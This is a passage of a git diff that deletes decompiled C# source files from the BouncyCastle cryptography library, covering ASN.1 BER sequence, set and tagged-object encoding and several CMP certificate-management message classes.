+0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Asn1; - -public class BerSequence : DerSequence -{ - public new static readonly BerSequence Empty = new BerSequence(); - - public new static BerSequence FromVector(Asn1EncodableVector v) - { - if (v.Count >= 1) - { - return new BerSequence(v); - } - return Empty; - } - - public BerSequence() - { - } - - public BerSequence(Asn1Encodable obj) - : base(obj) - { - } - - public BerSequence(params Asn1Encodable[] v) - : base(v) - { - } - - public BerSequence(Asn1EncodableVector v) - : base(v) - { - } - - internal override void Encode(DerOutputStream derOut) - { - if (derOut is Asn1OutputStream || derOut is BerOutputStream) - { - derOut.WriteByte(48); - derOut.WriteByte(128); - { - IEnumerator enumerator = GetEnumerator(); - try - { - while (enumerator.MoveNext()) - { - Asn1Encodable obj = (Asn1Encodable)enumerator.Current; - derOut.WriteObject(obj); - } - } - finally - { - IDisposable disposable = enumerator as IDisposable; - if (disposable != null) - { - disposable.Dispose(); - } - } - } - derOut.WriteByte(0); - derOut.WriteByte(0); - } - else - { - base.Encode(derOut); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSequenceGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSequenceGenerator.cs deleted file mode 100644 index b6084d6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSequenceGenerator.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public class BerSequenceGenerator : BerGenerator -{ - public BerSequenceGenerator(Stream outStream) - : base(outStream) - { - WriteBerHeader(48); - } - - public BerSequenceGenerator(Stream outStream, int tagNo, bool isExplicit) - : base(outStream, tagNo, isExplicit) - { - WriteBerHeader(48); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSequenceParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSequenceParser.cs deleted file mode 100644 index f65c452..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSequenceParser.cs +++ /dev/null @@ -1,21 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public class BerSequenceParser : Asn1SequenceParser, IAsn1Convertible -{ - private readonly Asn1StreamParser _parser; - - internal BerSequenceParser(Asn1StreamParser parser) - { - _parser = parser; - } - - public IAsn1Convertible ReadObject() - { - return _parser.ReadObject(); - } - - public Asn1Object ToAsn1Object() - { - return new BerSequence(_parser.ReadVector()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSet.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSet.cs deleted file mode 100644 index 4263d70..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSet.cs +++ /dev/null @@ -1,80 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Asn1; - -public class BerSet : DerSet -{ - public new static readonly BerSet Empty = new BerSet(); - - public new static BerSet FromVector(Asn1EncodableVector v) - { - if (v.Count >= 1) - { - return new BerSet(v); - } - return Empty; - } - - internal new static BerSet FromVector(Asn1EncodableVector v, bool needsSorting) - { - if (v.Count >= 1) - { - return new BerSet(v, needsSorting); - } - return Empty; - } - - public BerSet() - { - } - - public BerSet(Asn1Encodable obj) - : base(obj) - { - } - - public BerSet(Asn1EncodableVector v) - : base(v, needsSorting: false) - { - } - - internal BerSet(Asn1EncodableVector v, bool needsSorting) - : base(v, needsSorting) - { - } - - internal override void Encode(DerOutputStream derOut) - { - if (derOut is Asn1OutputStream || derOut is BerOutputStream) - { - derOut.WriteByte(49); - derOut.WriteByte(128); - { - IEnumerator enumerator = GetEnumerator(); - try - { - while (enumerator.MoveNext()) - { - Asn1Encodable obj = (Asn1Encodable)enumerator.Current; - derOut.WriteObject(obj); - } - } - finally - { - IDisposable disposable = enumerator as IDisposable; - if (disposable != null) - { - disposable.Dispose(); - } - } - } - derOut.WriteByte(0); - derOut.WriteByte(0); - } - else - { - base.Encode(derOut); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSetGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSetGenerator.cs deleted file mode 100644 index d1e4a0e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSetGenerator.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public class BerSetGenerator : BerGenerator -{ - public BerSetGenerator(Stream outStream) - : base(outStream) - { - WriteBerHeader(49); - } - - public BerSetGenerator(Stream outStream, int tagNo, bool isExplicit) - : base(outStream, tagNo, isExplicit) - { - WriteBerHeader(49); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSetParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSetParser.cs deleted file mode 100644 index e317351..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSetParser.cs +++ /dev/null @@ -1,21 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public class BerSetParser : Asn1SetParser, IAsn1Convertible -{ - private readonly Asn1StreamParser _parser; - - internal BerSetParser(Asn1StreamParser parser) - { - _parser = parser; - } - - public IAsn1Convertible ReadObject() - { - return _parser.ReadObject(); - } - - public Asn1Object ToAsn1Object() - { - return new BerSet(_parser.ReadVector(), needsSorting: false); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerTaggedObject.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerTaggedObject.cs deleted file mode 100644 index 2683ccf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerTaggedObject.cs +++ /dev/null @@ -1,76 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class BerTaggedObject : DerTaggedObject -{ - public BerTaggedObject(int tagNo, Asn1Encodable obj) - : base(tagNo, obj) - { - } - - public BerTaggedObject(bool explicitly, int tagNo, Asn1Encodable obj) - : base(explicitly, tagNo, obj) - { - } - - public BerTaggedObject(int tagNo) - : base(explicitly: false, tagNo, BerSequence.Empty) - { - } - - internal override void Encode(DerOutputStream derOut) - { - if (derOut is Asn1OutputStream || derOut is BerOutputStream) - { - derOut.WriteTag(160, tagNo); - derOut.WriteByte(128); - if (!IsEmpty()) - { - if (!explicitly) - { - IEnumerable enumerable; - if (obj is Asn1OctetString) - { - if (obj is BerOctetString) - { - enumerable = (BerOctetString)obj; - } - else - { - Asn1OctetString asn1OctetString = (Asn1OctetString)obj; - enumerable = new BerOctetString(asn1OctetString.GetOctets()); - } - } - else if (obj is Asn1Sequence) - { - enumerable = (Asn1Sequence)obj; - } - else - { - if (!(obj is Asn1Set)) - { - throw Platform.CreateNotImplementedException(Platform.GetTypeName(obj)); - } - enumerable = (Asn1Set)obj; - } - foreach (Asn1Encodable item in enumerable) - { - derOut.WriteObject(item); - } - } - else - { - derOut.WriteObject(obj); - } - } - derOut.WriteByte(0); - derOut.WriteByte(0); - } - else - { - base.Encode(derOut); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerTaggedObjectParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerTaggedObjectParser.cs deleted file mode 100644 index 2e94176..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerTaggedObjectParser.cs +++ /dev/null @@ -1,55 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public class BerTaggedObjectParser : Asn1TaggedObjectParser, IAsn1Convertible -{ - private bool _constructed; - - private int _tagNumber; - - private Asn1StreamParser _parser; - - public bool IsConstructed => _constructed; - - public int TagNo => _tagNumber; - - [Obsolete] - internal BerTaggedObjectParser(int baseTag, int tagNumber, Stream contentStream) - : this((baseTag & 0x20) != 0, tagNumber, new Asn1StreamParser(contentStream)) - { - } - - internal BerTaggedObjectParser(bool constructed, int tagNumber, Asn1StreamParser parser) - { - _constructed = constructed; - _tagNumber = tagNumber; - _parser = parser; - } - - public IAsn1Convertible GetObjectParser(int tag, bool isExplicit) - { - if (isExplicit) - { - if (!_constructed) - { - throw new IOException("Explicit tags must be constructed (see X.690 8.14.2)"); - } - return _parser.ReadObject(); - } - return _parser.ReadImplicit(_constructed, tag); - } - - public Asn1Object ToAsn1Object() - { - try - { - return _parser.ReadTaggedObject(_constructed, _tagNumber); - } - catch (IOException ex) - { - throw new Asn1ParsingException(ex.Message); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Bsi/BsiObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Bsi/BsiObjectIdentifiers.cs deleted file mode 100644 index 790d6b7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Bsi/BsiObjectIdentifiers.cs +++ /dev/null @@ -1,50 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Bsi; - -public abstract class BsiObjectIdentifiers -{ - public static readonly DerObjectIdentifier bsi_de = new DerObjectIdentifier("0.4.0.127.0.7"); - - public static readonly DerObjectIdentifier id_ecc = bsi_de.Branch("1.1"); - - public static readonly DerObjectIdentifier ecdsa_plain_signatures = id_ecc.Branch("4.1"); - - public static readonly DerObjectIdentifier ecdsa_plain_SHA1 = ecdsa_plain_signatures.Branch("1"); - - public static readonly DerObjectIdentifier ecdsa_plain_SHA224 = ecdsa_plain_signatures.Branch("2"); - - public static readonly DerObjectIdentifier ecdsa_plain_SHA256 = ecdsa_plain_signatures.Branch("3"); - - public static readonly DerObjectIdentifier ecdsa_plain_SHA384 = ecdsa_plain_signatures.Branch("4"); - - public static readonly DerObjectIdentifier ecdsa_plain_SHA512 = ecdsa_plain_signatures.Branch("5"); - - public static readonly DerObjectIdentifier ecdsa_plain_RIPEMD160 = ecdsa_plain_signatures.Branch("6"); - - public static readonly DerObjectIdentifier algorithm = bsi_de.Branch("1"); - - public static readonly DerObjectIdentifier ecka_eg = id_ecc.Branch("5.1"); - - public static readonly DerObjectIdentifier ecka_eg_X963kdf = ecka_eg.Branch("1"); - - public static readonly DerObjectIdentifier ecka_eg_X963kdf_SHA1 = ecka_eg_X963kdf.Branch("1"); - - public static readonly DerObjectIdentifier ecka_eg_X963kdf_SHA224 = ecka_eg_X963kdf.Branch("2"); - - public static readonly DerObjectIdentifier ecka_eg_X963kdf_SHA256 = ecka_eg_X963kdf.Branch("3"); - - public static readonly DerObjectIdentifier ecka_eg_X963kdf_SHA384 = ecka_eg_X963kdf.Branch("4"); - - public static readonly DerObjectIdentifier ecka_eg_X963kdf_SHA512 = ecka_eg_X963kdf.Branch("5"); - - public static readonly DerObjectIdentifier ecka_eg_X963kdf_RIPEMD160 = ecka_eg_X963kdf.Branch("6"); - - public static readonly DerObjectIdentifier ecka_eg_SessionKDF = ecka_eg.Branch("2"); - - public static readonly DerObjectIdentifier ecka_eg_SessionKDF_3DES = ecka_eg_SessionKDF.Branch("1"); - - public static readonly DerObjectIdentifier ecka_eg_SessionKDF_AES128 = ecka_eg_SessionKDF.Branch("2"); - - public static readonly DerObjectIdentifier ecka_eg_SessionKDF_AES192 = ecka_eg_SessionKDF.Branch("3"); - - public static readonly DerObjectIdentifier ecka_eg_SessionKDF_AES256 = ecka_eg_SessionKDF.Branch("4"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CAKeyUpdAnnContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CAKeyUpdAnnContent.cs deleted file mode 100644 index 0778041..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CAKeyUpdAnnContent.cs +++ /dev/null @@ -1,44 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class CAKeyUpdAnnContent : Asn1Encodable -{ - private readonly CmpCertificate oldWithNew; - - private readonly CmpCertificate newWithOld; - - private readonly CmpCertificate newWithNew; - - public virtual CmpCertificate OldWithNew => oldWithNew; - - public virtual CmpCertificate NewWithOld => newWithOld; - - public virtual CmpCertificate NewWithNew => newWithNew; - - private CAKeyUpdAnnContent(Asn1Sequence seq) - { - oldWithNew = CmpCertificate.GetInstance(seq[0]); - newWithOld = CmpCertificate.GetInstance(seq[1]); - newWithNew = CmpCertificate.GetInstance(seq[2]); - } - - public static CAKeyUpdAnnContent GetInstance(object obj) - { - if (obj is CAKeyUpdAnnContent) - { - return (CAKeyUpdAnnContent)obj; - } - if (obj is Asn1Sequence) - { - return new CAKeyUpdAnnContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(oldWithNew, newWithOld, newWithNew); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertConfirmContent.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertConfirmContent.cs deleted file mode 100644 index 0e47dda..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertConfirmContent.cs +++ /dev/null @@ -1,42 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class CertConfirmContent : Asn1Encodable -{ - private readonly Asn1Sequence content; - - private CertConfirmContent(Asn1Sequence seq) - { - content = seq; - } - - public static CertConfirmContent GetInstance(object obj) - { - if (obj is CertConfirmContent) - { - return (CertConfirmContent)obj; - } - if (obj is Asn1Sequence) - { - return new CertConfirmContent((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public virtual CertStatus[] ToCertStatusArray() - { - CertStatus[] array = new CertStatus[content.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = CertStatus.GetInstance(content[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return content; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertOrEncCert.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertOrEncCert.cs deleted file mode 100644 index e97eed3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertOrEncCert.cs +++ /dev/null @@ -1,71 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class CertOrEncCert : Asn1Encodable, IAsn1Choice -{ - private readonly CmpCertificate certificate; - - private readonly EncryptedValue encryptedCert; - - public virtual CmpCertificate Certificate => certificate; - - public virtual EncryptedValue EncryptedCert => encryptedCert; - - private CertOrEncCert(Asn1TaggedObject tagged) - { - if (tagged.TagNo == 0) - { - certificate = CmpCertificate.GetInstance(tagged.GetObject()); - return; - } - if (tagged.TagNo == 1) - { - encryptedCert = EncryptedValue.GetInstance(tagged.GetObject()); - return; - } - throw new ArgumentException("unknown tag: " + tagged.TagNo, "tagged"); - } - - public static CertOrEncCert GetInstance(object obj) - { - if (obj is CertOrEncCert) - { - return (CertOrEncCert)obj; - } - if (obj is Asn1TaggedObject) - { - return new CertOrEncCert((Asn1TaggedObject)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public CertOrEncCert(CmpCertificate certificate) - { - if (certificate == null) - { - throw new ArgumentNullException("certificate"); - } - this.certificate = certificate; - } - - public CertOrEncCert(EncryptedValue encryptedCert) - { - if (encryptedCert == null) - { - throw new ArgumentNullException("encryptedCert"); - } - this.encryptedCert = encryptedCert; - } - - public override Asn1Object ToAsn1Object() - { - if (certificate != null) - { - return new DerTaggedObject(explicitly: true, 0, certificate); - } - return new DerTaggedObject(explicitly: true, 1, encryptedCert); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertRepMessage.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertRepMessage.cs deleted file mode 100644 index 084144b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertRepMessage.cs +++ /dev/null @@ -1,82 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class CertRepMessage : Asn1Encodable -{ - private readonly Asn1Sequence caPubs; - - private readonly Asn1Sequence response; - - private CertRepMessage(Asn1Sequence seq) - { - int index = 0; - if (seq.Count > 1) - { - caPubs = Asn1Sequence.GetInstance((Asn1TaggedObject)seq[index++], explicitly: true); - } - response = Asn1Sequence.GetInstance(seq[index]); - } - - public static CertRepMessage GetInstance(object obj) - { - if (obj is CertRepMessage) - { - return (CertRepMessage)obj; - } - if (obj is Asn1Sequence) - { - return new CertRepMessage((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public CertRepMessage(CmpCertificate[] caPubs, CertResponse[] response) - { - if (response == null) - { - throw new ArgumentNullException("response"); - } - if (caPubs != null) - { - this.caPubs = new DerSequence(caPubs); - } - this.response = new DerSequence(response); - } - - public virtual CmpCertificate[] GetCAPubs() - { - if (caPubs == null) - { - return null; - } - CmpCertificate[] array = new CmpCertificate[caPubs.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = CmpCertificate.GetInstance(caPubs[i]); - } - return array; - } - - public virtual CertResponse[] GetResponse() - { - CertResponse[] array = new CertResponse[response.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = CertResponse.GetInstance(response[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (caPubs != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, caPubs)); - } - asn1EncodableVector.Add(response); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertResponse.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertResponse.cs deleted file mode 100644 index f481e02..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertResponse.cs +++ /dev/null @@ -1,89 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class CertResponse : Asn1Encodable -{ - private readonly DerInteger certReqId; - - private readonly PkiStatusInfo status; - - private readonly CertifiedKeyPair certifiedKeyPair; - - private readonly Asn1OctetString rspInfo; - - public virtual DerInteger CertReqID => certReqId; - - public virtual PkiStatusInfo Status => status; - - public virtual CertifiedKeyPair CertifiedKeyPair => certifiedKeyPair; - - private CertResponse(Asn1Sequence seq) - { - certReqId = DerInteger.GetInstance(seq[0]); - status = PkiStatusInfo.GetInstance(seq[1]); - if (seq.Count < 3) - { - return; - } - if (seq.Count == 3) - { - Asn1Encodable asn1Encodable = seq[2]; - if (asn1Encodable is Asn1OctetString) - { - rspInfo = Asn1OctetString.GetInstance(asn1Encodable); - } - else - { - certifiedKeyPair = CertifiedKeyPair.GetInstance(asn1Encodable); - } - } - else - { - certifiedKeyPair = CertifiedKeyPair.GetInstance(seq[2]); - rspInfo = Asn1OctetString.GetInstance(seq[3]); - } - } - - public static CertResponse GetInstance(object obj) - { - if (obj is CertResponse) - { - return (CertResponse)obj; - } - if (obj is Asn1Sequence) - { - return new CertResponse((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public CertResponse(DerInteger certReqId, PkiStatusInfo status) - : this(certReqId, status, null, null) - { - } - - public CertResponse(DerInteger certReqId, PkiStatusInfo status, CertifiedKeyPair certifiedKeyPair, Asn1OctetString rspInfo) - { - if (certReqId == null) - { - throw new ArgumentNullException("certReqId"); - } - if (status == null) - { - throw new ArgumentNullException("status"); - } - this.certReqId = certReqId; - this.status = status; - this.certifiedKeyPair = certifiedKeyPair; - this.rspInfo = rspInfo; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(certReqId, status); - asn1EncodableVector.AddOptional(certifiedKeyPair, rspInfo); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertStatus.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertStatus.cs deleted file mode 100644 index 3fef66b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertStatus.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class CertStatus : Asn1Encodable -{ - private readonly Asn1OctetString certHash; - - private readonly DerInteger certReqId; - - private readonly PkiStatusInfo statusInfo; - - public virtual Asn1OctetString CertHash => certHash; - - public virtual DerInteger CertReqID => certReqId; - - public virtual PkiStatusInfo StatusInfo => statusInfo; - - private CertStatus(Asn1Sequence seq) - { - certHash = Asn1OctetString.GetInstance(seq[0]); - certReqId = DerInteger.GetInstance(seq[1]); - if (seq.Count > 2) - { - statusInfo = PkiStatusInfo.GetInstance(seq[2]); - } - } - - public CertStatus(byte[] certHash, BigInteger certReqId) - { - this.certHash = new DerOctetString(certHash); - this.certReqId = new DerInteger(certReqId); - } - - public CertStatus(byte[] certHash, BigInteger certReqId, PkiStatusInfo statusInfo) - { - this.certHash = new DerOctetString(certHash); - this.certReqId = new DerInteger(certReqId); - this.statusInfo = statusInfo; - } - - public static CertStatus GetInstance(object obj) - { - if (obj is CertStatus) - { - return (CertStatus)obj; - } - if (obj is Asn1Sequence) - { - return new CertStatus((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(certHash, certReqId); - asn1EncodableVector.AddOptional(statusInfo); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertifiedKeyPair.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertifiedKeyPair.cs deleted file mode 100644 index fb939fe..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CertifiedKeyPair.cs +++ /dev/null @@ -1,89 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class CertifiedKeyPair : Asn1Encodable -{ - private readonly CertOrEncCert certOrEncCert; - - private readonly EncryptedValue privateKey; - - private readonly PkiPublicationInfo publicationInfo; - - public virtual CertOrEncCert CertOrEncCert => certOrEncCert; - - public virtual EncryptedValue PrivateKey => privateKey; - - public virtual PkiPublicationInfo PublicationInfo => publicationInfo; - - private CertifiedKeyPair(Asn1Sequence seq) - { - certOrEncCert = CertOrEncCert.GetInstance(seq[0]); - if (seq.Count < 2) - { - return; - } - if (seq.Count == 2) - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(seq[1]); - if (instance.TagNo == 0) - { - privateKey = EncryptedValue.GetInstance(instance.GetObject()); - } - else - { - publicationInfo = PkiPublicationInfo.GetInstance(instance.GetObject()); - } - } - else - { - privateKey = EncryptedValue.GetInstance(Asn1TaggedObject.GetInstance(seq[1])); - publicationInfo = PkiPublicationInfo.GetInstance(Asn1TaggedObject.GetInstance(seq[2])); - } - } - - public static CertifiedKeyPair GetInstance(object obj) - { - if (obj is CertifiedKeyPair) - { - return (CertifiedKeyPair)obj; - } - if (obj is Asn1Sequence) - { - return new CertifiedKeyPair((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public CertifiedKeyPair(CertOrEncCert certOrEncCert) - : this(certOrEncCert, null, null) - { - } - - public CertifiedKeyPair(CertOrEncCert certOrEncCert, EncryptedValue privateKey, PkiPublicationInfo publicationInfo) - { - if (certOrEncCert == null) - { - throw new ArgumentNullException("certOrEncCert"); - } - this.certOrEncCert = certOrEncCert; - this.privateKey = privateKey; - this.publicationInfo = publicationInfo; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(certOrEncCert); - if (privateKey != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, privateKey)); - } - if (publicationInfo != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, publicationInfo)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/Challenge.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/Challenge.cs deleted file mode 100644 index 1484c2c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/Challenge.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class Challenge : Asn1Encodable -{ - private readonly AlgorithmIdentifier owf; - - private readonly Asn1OctetString witness; - - private readonly Asn1OctetString challenge; - - public virtual AlgorithmIdentifier Owf => owf; - - private Challenge(Asn1Sequence seq) - { - int index = 0; - if (seq.Count == 3) - { - owf = AlgorithmIdentifier.GetInstance(seq[index++]); - } - witness = Asn1OctetString.GetInstance(seq[index++]); - challenge = Asn1OctetString.GetInstance(seq[index]); - } - - public static Challenge GetInstance(object obj) - { - if (obj is Challenge) - { - return (Challenge)obj; - } - if (obj is Asn1Sequence) - { - return new Challenge((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - asn1EncodableVector.AddOptional(owf); - asn1EncodableVector.Add(witness); - asn1EncodableVector.Add(challenge); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CmpCertificate.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CmpCertificate.cs deleted file mode 100644 index 616397e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CmpCertificate.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cmp; - -public class CmpCertificate : Asn1Encodable, IAsn1Choice -{ - private readonly X509CertificateStructure x509v3PKCert; - - private readonly AttributeCertificate x509v2AttrCert; - - public virtual bool IsX509v3PKCert => x509v3PKCert != null; - - public virtual X509CertificateStructure X509v3PKCert => x509v3PKCert; - - public virtual AttributeCertificate X509v2AttrCert => x509v2AttrCert; - - public CmpCertificate(AttributeCertificate x509v2AttrCert) - { - this.x509v2AttrCert = x509v2AttrCert; - } - - public CmpCertificate(X509CertificateStructure x509v3PKCert) - { - if (x509v3PKCert.Version != 3) - { - throw new ArgumentException("only version 3 certificates allowed", "x509v3PKCert"); - } - this.x509v3PKCert = x509v3PKCert; - } - - public static CmpCertificate GetInstance(object obj) - { - if (obj is CmpCertificate) - { - return (CmpCertificate)obj; - } - if (obj is Asn1Sequence) - { - return new CmpCertificate(X509CertificateStructure.GetInstance(obj)); - } - if (obj is Asn1TaggedObject) - { - return new CmpCertificate(AttributeCertificate.GetInstance(((Asn1TaggedObject)obj).GetObject())); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - if (x509v2AttrCert != null) - { - return new DerTaggedObject(explicitly: true, 1, x509v2AttrCert); - } - return x509v3PKCert.ToAsn1Object(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CmpObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CmpObjectIdentifiers.cs deleted file mode 100644 index adf01e5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cmp/CmpObjectIdentifiers.cs +++ /dev/null @@ -1,56 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cmp; - -public abstract class CmpObjectIdentifiers -{ - public static readonly DerObjectIdentifier passwordBasedMac = new DerObjectIdentifier("1.2.840.113533.7.66.13"); - - public static readonly DerObjectIdentifier dhBasedMac = new DerObjectIdentifier("1.2.840.113533.7.66.30"); - - public static readonly DerObjectIdentifier it_caProtEncCert = new DerObjectIdentifier("1.3.6.1.5.5.7.4.1"); - - public static readonly DerObjectIdentifier it_signKeyPairTypes = new DerObjectIdentifier("1.3.6.1.5.5.7.4.2"); - - public static readonly DerObjectIdentifier it_encKeyPairTypes = new 